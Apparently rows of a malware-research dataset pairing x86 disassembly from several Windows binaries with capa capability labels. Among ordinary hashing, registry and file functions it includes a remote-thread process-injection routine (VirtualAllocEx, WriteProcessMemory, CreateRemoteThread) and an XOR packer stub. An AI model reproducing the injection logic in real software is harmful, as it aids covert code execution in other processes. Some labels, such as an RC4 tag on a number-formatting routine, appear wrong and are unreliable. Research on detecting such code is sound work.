joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407ca0
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x407d75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00401ac0
lea eax, [ebp - 4]
mov edx, pe_nt_image_headers32
call fcn.00402074
mov dword [ebp - 8], 0xff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
call fcn.00401f9c
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x407d5f
mov dword [ebp - 0xc], 0xff
mov dword [ebp - 0x10], 0xff
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 4]
call fcn.00401f9c
push eax
push 0
call sub.advapi32.dll_LookupAccountNameA
test eax, eax
je 0x407d5f
lea eax, [ebp - 0x118]
push eax
call sub.advapi32.dll_IsValidSid
test eax, eax
je 0x407d5f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.advapi32.dll_ConvertSidToStringSidA
mov eax, ebx
mov edx, dword [ebp - 0x18]
call fcn.00401cac
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_GlobalFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407d7c
lea eax, [ebp - 4]
call fcn.00401ac0
ret
Function at 0x408aec
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov edi, eax
xor eax, eax
push ebp
push 0x408c68
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, esi
call fcn.00401ac0
push 0
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x8004
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CryptCreateHash
test eax, eax
je 0x408c34
push 0
lea eax, [ebp - 0x18]
mov edx, edi
call fcn.00402218
mov eax, dword [ebp - 0x18]
call fcn.00402274
inc eax
add eax, eax
push eax
push edi
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptHashData
test eax, eax
je 0x408c34
mov dword [ebp - 0x10], 0x14
push 0x14
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x408ac8]
call fcn.00402fbc
add esp, 4
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 2
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptGetHashParam
test eax, eax
je 0x408c34
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptDestroyHash
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CryptReleaseContext
mov eax, dword [ebp - 0x10]
dec eax
test eax, eax
jl 0x408c0c
inc eax
mov dword [ebp - 0x14], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
add bl, byte [eax + edi]
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + edi]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x24]
xor ecx, ecx
mov eax, 0x408c80
call fcn.004089bc
mov edx, dword [ebp - 0x1c]
mov eax, esi
call fcn.00401d58
inc edi
dec dword [ebp - 0x14]
jne 0x408bd5
lea eax, [ebp - 0x28]
push eax
xor eax, eax
mov al, bl
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x24]
xor ecx, ecx
mov eax, 0x408c80
call fcn.004089bc
mov edx, dword [ebp - 0x28]
mov eax, esi
call fcn.00401d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408c6f
lea eax, [ebp - 0x28]
call fcn.00401ac0
lea eax, [ebp - 0x1c]
call fcn.00401ac0
lea eax, [ebp - 0x18]
call fcn.00402108
lea eax, [ebp - 0xc]
mov edx, dword [0x408ac8]
call fcn.00402fc8
ret
Function at 0x40aebc
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40b017
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x40affc
push 0x40b028
push 0x40b034
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x18], eax
push 0x40b044
push 0x40b034
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x14], eax
push 0x40b050
push 0x40b034
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x10], eax
push 0x40
push 0x3000
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.004013a4
mov eax, dword [ebp - 0x1c]
call fcn.00401d50
inc eax
push eax
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
mov dword [ebp - 0xc], esi
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.004013a4
mov eax, dword [ebp - 0x20]
call fcn.00401d50
inc eax
push eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.004013a4
mov eax, dword [ebp - 0x24]
call fcn.00401f48
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x3000
push 0x10
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x10
jne 0x40affc
push 0x40
push 0x3000
push 0x1f4
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x1f4
push 0x40ae88
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x1f4
jne 0x40affc
lea eax, [ebp - 8]
push eax
push 0
push esi
push edi
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b01e
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00401ae4
ret
Function at 0x40b7d4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x5c], eax
xor eax, eax
push ebp
push 0x40b8d2
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x40d204]
mov edx, dword [edx]
lea eax, [ebp - 0x5c]
mov ecx, 0x40b8e8
call fcn.00401d9c
mov eax, dword [ebp - 0x5c]
call fcn.00401f48
push eax
push 0
push 0
call fcn.00403568
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40b82f
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x40b8bc
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40d1cc]
call fcn.00401f9c
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x40b8f4
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.004040e4
test al, al
jne 0x40b8bc
lea eax, [ebp - 0x58]
mov edx, 0x44
call fcn.00403728
lea eax, [ebp - 0x14]
mov edx, 0x10
call fcn.00403728
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0x40b904
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, ebx
call fcn.004040e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b8d9
lea eax, [ebp - 0x5c]
call fcn.00401ac0
ret
Function at 0x401010
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [eax]
sub esp, 0x10
mov dword [0x43f3dc], ecx
call fcn.00413d80
mov edx, dword [str.myisam.log]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [0x43f38c], edx
call fcn.004011f0
mov eax, dword [0x43f374]
add esp, 8
cmp eax, 8
jb 0x401051
mov eax, 8
push ebx
push edi
push eax
call fcn.00402890
sub eax, 6
shr eax, 1
mov dword [0x43f374], eax
mov eax, dword [0x43f36c]
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x401098
cmp dword [0x43f37c], ebx
mov eax, str.recover
jne 0x401083
mov eax, str.update
mov edx, dword [0x43f38c]
push edx
push eax
push str.Trying_to__s_MyISAM_files_according_to_log__s_n
call fcn.0041c290
add esp, 0xc
mov eax, dword [esp + 0x20]
mov ecx, dword [0x43f38c]
push eax
push ecx
call fcn.00401640
mov ecx, dword [0x43f36c]
add esp, 8
cmp ecx, ebx
mov dword [esp + 0x14], eax
je 0x4010cb
cmp eax, ebx
jne 0x4010cb
push str.Tables_updated_successfully
call fcn.0041c218
add esp, 4
mov ecx, dword [str.open]
xor eax, eax
cmp ecx, ebx
mov dword [esp + 8], ebx
mov dword [esp + 0xc], ebx
je 0x4011a1
push ebp
mov ebp, 0x42b050
push esi
mov edi, ebp
mov esi, 0x43f2f0
cmp dword [esi], 0
je 0x40116b
mov edx, eax
inc eax
test edx, edx
mov dword [esp + 0x18], eax
jne 0x40112d
mov eax, dword [0x43f368]
test eax, eax
jne 0x401113
mov eax, dword [0x43f36c]
test eax, eax
je 0x401120
push 0x43f3a8
call fcn.0041c218
add esp, 4
push str.Commands___Used_count____Errors___Recover_errors
call fcn.0041c218
add esp, 4
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push eax
mov eax, dword [ebp]
push ecx
push edx
push eax
push str.__12s_9ld_10ld_17ld_n
call fcn.0041c290
mov edx, dword [esp + 0x28]
mov ecx, dword [esi + 4]
mov ebp, dword [esi]
mov eax, dword [esp + 0x24]
add edx, ecx
mov dword [esp + 0x28], edx
mov edx, dword [esi + 8]
add esp, 0x14
add ebx, ebp
add eax, edx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [edi + 4]
add edi, 4
add esi, 0xc
test ecx, ecx
mov ebp, edi
jne 0x4010f1
test ebx, ebx
pop esi
pop ebp
je 0x4011a1
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push eax
push ecx
push ebx
push str.Total
push str.__12s_9ld_10ld_17ld_n
call fcn.0041c290
add esp, 0x14
mov eax, dword [0x43f378]
test eax, eax
je 0x4011b8
push eax
push str.Had_to_do__d_re_open_because_of_too_few_possibly_open_files_n
call fcn.0041c290
add esp, 8
push 0
call fcn.00402bc0
mov edi, dword [0x43f370]
xor edx, edx
test edi, edi
setne dl
lea edx, [edx + edx + 1]
push edx
call fcn.00413e90
mov eax, dword [esp + 0x1c]
add esp, 8
push eax
call fcn.0041c125
pop edi
pop ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x413d80
Capabilities:
Initialize winsock library

Disassembly:
mov al, byte [0x43f3d1]
test al, al
jne 0x413e1d
mov byte [0x43f3d1], 1
call fcn.004162c0
mov eax, dword [0x43f3d8]
test eax, eax
jne 0x413e18
call fcn.00413f30
push str.HOME
call fcn.0041cfcb
add esp, 4
test eax, eax
mov dword [0x43f3d8], eax
je 0x413dd0
push eax
push 0x43f5e0
call fcn.004171c0
add esp, 8
mov dword [0x43f3d8], eax
push str.UMASK
call fcn.0041cfcb
add esp, 4
test eax, eax
je 0x413df4
push eax
call fcn.00413e20
add esp, 4
or eax, 0x180
mov dword [0x42bab4], eax
push str.UMASK_DIR
call fcn.0041cfcb
add esp, 4
test eax, eax
je 0x413e18
push eax
call fcn.00413e20
add esp, 4
or eax, 0x1c0
mov dword [0x42bab8], eax
jmp 0x414040
ret
sub esp, 0x190
call fcn.004140a0
test al, al
je 0x41408f
lea eax, [esp]
push eax
push 2
call sub.WSOCK32.dll_WSAStartup
test eax, eax
je 0x41406b
call sub.WSOCK32.dll_WSACleanup
lea ecx, [esp]
push ecx
jmp 0x41407d
cmp word [esp], 2
je 0x414088
call sub.WSOCK32.dll_WSACleanup
lea edx, [esp]
push edx
push 2
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x41408f
mov byte [0x43f3d0], 1
xor al, al
add esp, 0x190
ret

Function at 0x413f30
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xa04
push 0x43f3a8
push 2
mov dword [esp + 0xc], 0x100
mov dword [esp + 0x10], 0x400
call fcn.0041d069
add esp, 8
lea eax, [esp]
push eax
push 0x20019
push 0
push str.SoftwareMySQL
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x414031
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x118]
push edx
mov edx, dword [esp + 0x10]
push eax
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x28]
push ecx
push 0
push edx
mov esi, 1
call edi
cmp eax, 0x103
je 0x414024
nop
lea eax, [esp + 0x114]
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x51c]
push edx
call fcn.00413f10
lea eax, [esp + 0x520]
push eax
call fcn.00424c7d
lea ecx, [esp + 0x524]
push ecx
call fcn.00427662
add esp, 0x14
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x118]
push ecx
push 0
push 0
lea edx, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x28]
mov eax, esi
push ecx
push eax
push edx
mov dword [esp + 0x2c], 0x100
mov dword [esp + 0x30], 0x400
inc esi
call edi
cmp eax, 0x103
jne 0x413fb0
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 0xa04
ret
Function at 0x416060
Capabilities:
Terminate process

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
test edi, edi
jne 0x41606f
mov edi, 1
push edi
call fcn.0041d7a3
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4160c3
push esi
call fcn.0041ca23
mov esi, eax
call fcn.004163f0
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [esp + 0x14]
mov esi, eax
and esi, 8
je 0x4160a6
mov edx, dword [fcn.00418230]
mov dword [fcn.00418230], edx
test al, 0x18
je 0x4160b7
push edi
push 0x24
push 5
call fcn.004182b0
add esp, 0xc
test esi, esi
pop esi
je 0x4160de
push 1
call fcn.0041c125
test byte [esp + 0x10], 0x20
je 0x4160de
mov ecx, edi
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
mov eax, ebx
pop ebx
ret

Function at 0x4162c0
Capabilities:
Terminate process

Disassembly:
push 0
call fcn.00418980
add esp, 4
test eax, eax
je 0x4162ef
call fcn.0041ca23
mov eax, dword [eax]
push eax
push str.Cant_initialize_threads:_error__d_n
push 0x43bb98
call fcn.0041c2d1
add esp, 0xc
push 1
call fcn.0041c125
push esi
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4483c0
call esi
push 0x448360
call esi
push 0x4483e0
call esi
push 0x448380
call esi
push 0x448320
call esi
push 0x448340
call esi
push 0x448300
call esi
push 0x4482e0
call esi
push 0x4483a0
call esi
call fcn.00418970
pop esi
jmp 0x416350
push esi
push 0x448380
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x447e70]
mov ecx, dword fs:[0x2c]
mov esi, dword [ecx + eax*4]
mov eax, dword [esi + 0x34]
test eax, eax
jne 0x4163a4
mov eax, dword [0x447ca4]
inc eax
lea edx, [esi + 0x10]
push edx
mov dword [0x447ca4], eax
mov dword [esi + 0x34], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esi + 8]
push 0
push eax
call fcn.00418990
add esp, 8
push 0x448380
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop esi
ret
Function at 0x416830
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov eax, edi
shl eax, 5
lea ebp, [eax + 0x43f7f8]
jmp 0x416850
mov edi, dword [esp + 0x14]
lea esp, [esp]
push ebp
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push 0
push ecx
push edx
push edi
or esi, 0xffffffff
call fcn.0041dd40
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
je 0x416893
mov ebx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ebx
push eax
push edi
call fcn.004244b6
mov esi, eax
add esp, 0xc
cmp esi, ebx
jne 0x416893
xor edi, edi
jmp 0x416898
mov edi, 1
push ebp
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
mov ebx, dword [esp + 0x28]
je 0x416939
call fcn.0041ca23
mov edi, eax
call fcn.004163f0
test esi, esi
mov ecx, dword [edi]
mov dword [eax], ecx
jne 0x4168cd
call fcn.0041ca23
cmp dword [eax], 4
je 0x416845
test bl, 0x1a
je 0x416927
cmp esi, 0xffffffff
jne 0x416900
call fcn.004163f0
mov edx, dword [eax]
mov eax, dword [esp + 0x14]
push edx
push eax
call fcn.00418440
add esp, 4
push eax
push 0x24
push 2
call fcn.004182b0
add esp, 0x10
pop edi
or eax, esi
pop esi
pop ebp
pop ebx
ret
test bl, 6
je 0x416927
call fcn.004163f0
mov ecx, dword [eax]
mov edx, dword [esp + 0x14]
push ecx
push edx
call fcn.00418440
add esp, 4
push eax
push 0x24
push 9
call fcn.004182b0
add esp, 0x10
cmp esi, 0xffffffff
je 0x416931
test bl, 6
je 0x416939
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
and bl, 6
neg bl
pop edi
sbb ebx, ebx
not ebx
and ebx, esi
pop esi
pop ebp
mov eax, ebx
pop ebx
ret

Function at 0x417d40
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
lea esp, [esp]
call fcn.0041ca23
mov dword [eax], 0
mov eax, dword [esp + 0x18]
push edi
push eax
push ebx
call fcn.004244b6
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x417e0a
call fcn.0041ca23
cmp dword [eax], 0
je 0x417d87
call fcn.0041ca23
mov ebp, dword [eax]
jmp 0x417d8a
or ebp, 0xffffffff
call fcn.004163f0
test esi, esi
mov dword [eax], ebp
jne 0x417d9f
call fcn.0041ca23
cmp dword [eax], 4
je 0x417d50
mov al, byte [esp + 0x20]
test al, 0x1a
je 0x417df7
cmp esi, 0xffffffff
jne 0x417dd1
call fcn.004163f0
mov ecx, dword [eax]
push ecx
push ebx
call fcn.00418440
add esp, 4
push eax
push 0x24
push 2
call fcn.004182b0
add esp, 0x10
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
test al, 6
je 0x417df7
call fcn.004163f0
mov edx, dword [eax]
push edx
push ebx
call fcn.00418440
add esp, 4
push eax
push 0x24
push 9
call fcn.004182b0
mov al, byte [esp + 0x30]
add esp, 0x10
cmp esi, 0xffffffff
je 0x417e00
test al, 6
je 0x417e14
pop edi
pop esi
pop ebp
mov eax, 0xffffffff
pop ebx
ret
mov al, byte [esp + 0x20]
test al, 6
je 0x417e14
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
Function at 0x419d20
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x44
push ebx
mov ebx, dword [esp + 0x58]
test ebx, ebx
push edi
jge 0x419d71
cmp ebx, 0xffffffdc
jl 0x419e3b
cmp ebx, 0xfffffffe
jg 0x419e3b
mov ecx, dword [esp + 0x54]
test ecx, ecx
mov edi, dword [esp + 0x50]
jg 0x419d69
jl 0x419d51
test edi, edi
jae 0x419d69
mov edx, dword [esp + 0x58]
inc edx
mov byte [edx - 1], 0x2d
neg edi
adc ecx, 0
neg ecx
mov dword [esp + 0x58], edx
neg ebx
jmp 0x419d8f
mov edx, dword [esp + 0x58]
neg ebx
jmp 0x419d8f
cmp ebx, 0x24
jg 0x419e3b
cmp ebx, 2
jl 0x419e3b
mov ecx, dword [esp + 0x54]
mov edi, dword [esp + 0x50]
mov edx, dword [esp + 0x58]
mov eax, edi
or eax, ecx
jne 0x419da4
mov byte [edx], 0x30
inc edx
pop edi
mov byte [edx], 0
mov eax, edx
pop ebx
add esp, 0x44
ret
test ecx, ecx
push esi
lea esi, [esp + 0x4c]
mov byte [esp + 0x4c], 0
ja 0x419dba
cmp edi, 0x7fffffff
jbe 0x419def
push ebp
xor ebp, ebp
lea ecx, [ecx]
push ebp
push ebx
push ecx
push edi
call fcn.0041ce60
mov ecx, eax
imul ecx, ebx
sub edi, ecx
mov cl, byte [edi + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
dec esi
test edx, edx
mov byte [esi], cl
mov edi, eax
mov ecx, edx
ja 0x419dc0
jb 0x419dea
cmp eax, 0x7fffffff
ja 0x419dc0
mov edx, dword [esp + 0x60]
pop ebp
test edi, edi
mov dword [esp + 0x60], edi
je 0x419e27
mov eax, dword [esp + 0x60]
cdq
idiv ebx
xor edx, edx
mov dl, byte [esp + 0x60]
dec esi
mov ecx, eax
mov al, bl
imul cl
sub dl, al
mov dword [esp + 0x60], ecx
and edx, 0xff
test ecx, ecx
mov al, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esi], al
jne 0x419df7
mov edx, dword [esp + 0x5c]
mov al, byte [esi]
mov byte [edx], al
inc edx
inc esi
test al, al
jne 0x419e27
pop esi
pop edi
lea eax, [edx - 1]
pop ebx
add esp, 0x44
ret
pop edi
xor eax, eax
pop ebx
add esp, 0x44
ret

Function at 0x427d6a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x427d8a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041c9b0
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x427dad
test byte [esp + 8], 2
je 0x427dad
call fcn.0041ca23
mov dword [eax], 0xd
call fcn.0041ca2c
mov dword [eax], 5
jmp 0x427d86
xor eax, eax
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x4010a9
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x418420]
xor eax, ebp
mov dword [ebp + 0x74], eax
xor eax, eax
mov dword [0x41a998], eax
mov dword [0x41a99c], eax
mov dword [0x41a9a0], eax
mov dword [0x41a9a4], eax
mov dword [0x41a9a8], eax
mov dword [0x41a9ac], eax
mov dword [0x41a9b0], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x401109
push 0x1ad
push str.sfxhead.c
call fcn.0040256a
pop ecx
pop ecx
xor eax, eax
inc eax
cmp dword [ebp - 0x10], eax
jne 0x401129
cmp dword [ebp - 0x18], 0xa
jb 0x401166
cmp dword [ebp - 0x18], 0x5a
mov dword [0x41a998], eax
jb 0x401166
mov dword [0x41a99c], eax
jmp 0x401166
cmp dword [ebp - 0x10], 2
jne 0x401166
cmp dword [ebp - 0x1c], 5
mov dword [0x41a9a0], eax
jb 0x401166
mov dword [0x41a9a4], eax
jne 0x401156
cmp dword [ebp - 0x18], 2
jne 0x40114c
mov dword [0x41a9a8], eax
cmp dword [ebp - 0x18], eax
jb 0x401166
mov dword [0x41a9ac], eax
cmp dword [ebp - 0x1c], 6
jb 0x401166
mov dword [0x41a9ac], eax
mov dword [0x41a9b0], eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
call fcn.00409326
add ebp, 0x78
leave
ret

Function at 0x401405
Capabilities:
Set current directory

Disassembly:
push esi
push edi
push dword [esp + 0xc]
call fcn.0040123f
pop ecx
push dword [esp + 0xc]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, eax
dec esi
neg esi
sbb esi, esi
neg esi
test edi, edi
je 0x401439
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.0040129b
pop ecx
pop ecx
pop edi
mov eax, esi
pop esi
ret

Function at 0x40165f
Capabilities:
Query environment variable

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
ret

Function at 0x401672
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x80
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
dec eax
neg eax
sbb eax, eax
neg eax
ret
Function at 0x4018f2
Capabilities:
Hash data with crc32

Disassembly:
push esi
push 8
xor eax, eax
add ecx, ecx
pop esi
sar ecx, 1
mov edx, eax
xor edx, ecx
shr eax, 1
test dl, 1
je 0x40190c
xor eax, 0xedb88320
dec esi
test esi, esi
jg 0x4018fa
pop esi
ret

Function at 0x40192f
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 8], 0
mov eax, dword [0x4199ac]
je 0x40195f
mov ecx, dword [esp + 4]
push esi
movzx edx, byte [ecx]
dec dword [esp + 0xc]
movzx esi, al
xor edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x4195a8]
inc ecx
cmp dword [esp + 0xc], 0
jne 0x401940
pop esi
mov dword [0x4199ac], eax
ret

Function at 0x401c51
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 8], 0
push esi
mov esi, str.sfxhead.c
jne 0x401c6f
push 0xc61
push esi
call fcn.0040256a
pop ecx
pop ecx
cmp dword [ebp + 0xc], 0
jg 0x401c82
push 0xc62
push esi
call fcn.0040256a
pop ecx
pop ecx
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.00401379
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [0x41a9f0]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
pop esi
jge 0x401cae
xor al, al
leave
ret
push dword [ebp - 4]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401b6e
add esp, 0xc
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [ebp - 8]
test eax, eax
je 0x401ce2
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, 1
leave
ret